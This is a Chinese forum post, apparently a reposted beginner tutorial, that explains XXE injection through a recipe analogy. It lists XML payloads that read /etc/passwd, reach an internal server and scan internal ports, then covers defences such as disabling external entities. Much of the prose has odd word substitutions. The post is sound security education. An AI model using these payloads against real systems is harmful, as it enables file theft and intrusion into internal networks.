深入浅出XXE注入:从底子知识到安全防御的完整指南,网络安全零底子入门到 ...

打印 上一主题 下一主题

主题 937|帖子 937|积分 2811

各人好,我是步伐员晓晓。今天我们来聊一聊XML外部实体(XXE)注入这个话题。无论你是安全新手照旧经验丰富的排泄测试工程师,明白XXE注入都黑白常重要的。让我们一起深入探讨这个有趣又伤害的安全漏洞吧!
   免责声明:因利用本人所提供的信息而产生的任何结果或损失,由利用者自行承担,作者概不负责。如有侵权,请告知,我会立即删除并致歉。感谢您的明白与支持!
  XML底子知识回顾


想象一下,XML就像是一本有特定格式的菜谱书。每个菜谱(XML文档)都有以下部分:


  • 封面信息(XML声明):告诉你这是一本什么样的书,用什么语言写的。
  • 目录(DTD):表明了这本书的结构,每个章节应该包罗什么。
  • 详细的菜谱内容(文档元素):实际的菜品信息。
好比,一个简单的"蛋炒饭食谱"的XML大概长如许:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE recipe [
  3.   <!ELEMENT recipe (name,ingredients,steps)>
  4.   <!ELEMENT name (#PCDATA)>
  5.   <!ELEMENT ingredients (#PCDATA)>
  6.   <!ELEMENT steps (#PCDATA)>
  7. ]>
  8. <recipe>
  9.   <name>蛋炒饭</name>
  10.   <ingredients>米饭、鸡蛋、葱花、油、盐</ingredients>
  11.   <steps>1.打蛋 2.炒蛋 3.加米饭 4.翻炒 5.加调料</steps>
  12. </recipe>
复制代码
我给各人准备了一份全套的《网络安全入门+进阶学习资源包》包罗各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

XML实体先容

XML实体就像是菜谱中的"快捷键"或"宏"。它们可以让你快速引用常用的内容,而不用每次都重复写。
想象你在写一本中华料理的菜谱书,你大概会经常用到"参加适量盐调味"这句话。你可以创建一个实体来代替这个常用短语:
  1. <!ENTITY salt "加入适量盐调味">   
复制代码
然后在需要的地方利用 &salt; 来引用这个短语。
XML中重要有三种"快捷键":


  • 内部实体:就像是书内的缩写注释。
  • 外部实体:像是引用其他书籍或外部资源的内容。
  • 参数实体:只能在"目录"(DTD)中利用的特别缩写。
XXE注入原理
想象你正在利用一个智能菜谱APP。这个APP答应用户上传自己的菜谱,然后会自动解析并展示。
正常情况下,用户会上传类似前面提到的蛋炒饭菜谱。但是,一个调皮的用户决定上传一个特别的"菜谱":
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE recipe [
  3.   <!ENTITY xxe SYSTEM "file:///etc/passwd">
  4. ]>
  5. <recipe>
  6.   <name>神秘菜谱</name>
  7.   <ingredients>&xxe;</ingredients>
  8. </recipe>
复制代码
这个"菜谱"看起来很正常,但实际上它包罗了一个外部实体 &xxe;,这个实体引用了服务器上的 /etc/passwd 文件。
如果APP在解析这个XML时没有做好安全步伐,它大概会真的去读取 /etc/passwd 文件的内容,并把它显示在"配料"部分!这就是XXE注入攻击的基本原理。
攻击者就像是一个顽皮的孩子,他发现了菜谱书的一个"邪术词",可以让书自动翻到其他不干系的页面。如果书的制作者不小心,大概会暴露出不应该给读者看到的信息。
XXE攻击类型

常见的XXE攻击类型包括:


  • 读取任意文件
  • 实行SSRF攻击
  • 内网端口扫描
  • 拒绝服务攻击
下面我们来看几个详细的攻击案例。
XXE攻击实例

读取当地文件

Payload:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [
  3.   <!ELEMENT foo ANY >
  4.   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <foo>&xxe;</foo>
复制代码
这个payload大概会读取并显示服务器上的/etc/passwd文件内容。
SSRF攻击

Payload:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [
  3.   <!ELEMENT foo ANY >
  4.   <!ENTITY xxe SYSTEM "http://internal-server/secret" >]>
  5. <foo>&xxe;</foo>
复制代码
这个payload大概会让服务器访问内网中的一个地址,potentially泄漏敏感信息。
内网端口扫描

Payload:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [
  3.   <!ELEMENT foo ANY >
  4.   <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]>
  5. <foo>&xxe;</foo>
复制代码
通过修改IP和端口,攻击者可以探测内网中开放的端口。
XXE防御步伐

为了防御XXE攻击,可以采取以下步伐:


  • 禁用外部实体解析
  • 利用安全的XML解析器
  • 过滤用户输入中的特别字符
  • 利用最新的XML处理库并及时更新补丁
在PHP中,可以利用以下代码禁用外部实体:
  1. libxml_disable_entity_loader(true);   
复制代码
总结

XXE注入是一种常见且危害较大的Web安全漏洞。作为安全从业者,我们要深入明白其原理,把握攻击和防御本领。同时,作为开发者在一样平常开发中也要留意XML解析的安全性,防患于未然。
记住,安全不是一挥而就的,需要我们不断学习和实践。盼望这篇文章能帮助你更好地明白XXE注入,进步你的安全意识和技能。
网络安全学习资源分享:
给各人分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习发展门路图。可以说是最科学最系统的学习门路,各人跟着这个大的方向学习准没题目。
因篇幅有限,仅展示部分资料,朋侪们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前去获取

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

前进之路

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表